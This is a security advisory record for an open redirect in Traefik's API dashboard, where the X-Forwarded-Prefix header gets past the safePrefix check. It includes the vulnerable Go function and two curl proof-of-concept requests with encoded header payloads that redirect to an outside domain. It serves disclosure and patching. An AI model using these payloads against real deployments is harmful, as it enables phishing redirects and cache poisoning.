GHSA-h924-8g65-j9wg

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Source
https://github.com/advisories/GHSA-h924-8g65-j9wg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-h924-8g65-j9wg/GHSA-h924-8g65-j9wg.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-h924-8g65-j9wg
Aliases
Downstream
CGA (2)
ECHO (1)
Published
2024-12-02T17:12:38Z
Modified
2026-07-17T21:08:40Z
Severity
  • 6.3 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
Traefik's X-Forwarded-Prefix Header still allows for Open Redirect
Details

Impact

There is a vulnerability in Traefik that allows the client to provide the X-Forwarded-Prefix header from an untrusted source.

Patches

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary The previously reported open redirect ([GHSA-6qq8-5wq3-86rp](https://github.com/traefik/traefik/security/advisories/GHSA-6qq8-5wq3-86rp)) is not fixed correctly. The safePrefix function can be tricked to return an absolute URL.

Details

The Traefik API dashboard component tries to validate that the value of the header X-Forwarded-Prefix is a site relative path:

http.Redirect(resp, req, safePrefix(req)+"/dashboard/", http.StatusFound)

func safePrefix(req *http.Request) string {
	prefix := req.Header.Get("X-Forwarded-Prefix")
	if prefix == "" {
		return ""
	}

	parse, err := url.Parse(prefix)
	if err != nil {
		return ""
	}

	return parse.Path
}

PoC

An attacker can bypass this by sending the following payload:

curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %0d//a.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/

or similar:

curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %2f%2fa.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/

Impact

Similar to the previously reported bug. In cache poisoning scenarios this may be exploitable.

Database specific 
{
    "cwe_ids": [
        "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-02T17:12:38Z",
    "nvd_published_at": "2024-11-29T19:15:08Z",
    "severity": "MODERATE"
}
References

Affected packages

Go / github.com/traefik/traefik/v2

Package

Name
github.com/traefik/traefik/v2
View open source insights on deps.dev
Purl
pkg:golang/github.com/traefik/traefik/v2

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
2.11.14

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-h924-8g65-j9wg/GHSA-h924-8g65-j9wg.json"

Go / github.com/traefik/traefik/v3

Package

Name
github.com/traefik/traefik/v3
View open source insights on deps.dev
Purl
pkg:golang/github.com/traefik/traefik/v3

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.2.1

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-h924-8g65-j9wg/GHSA-h924-8g65-j9wg.json"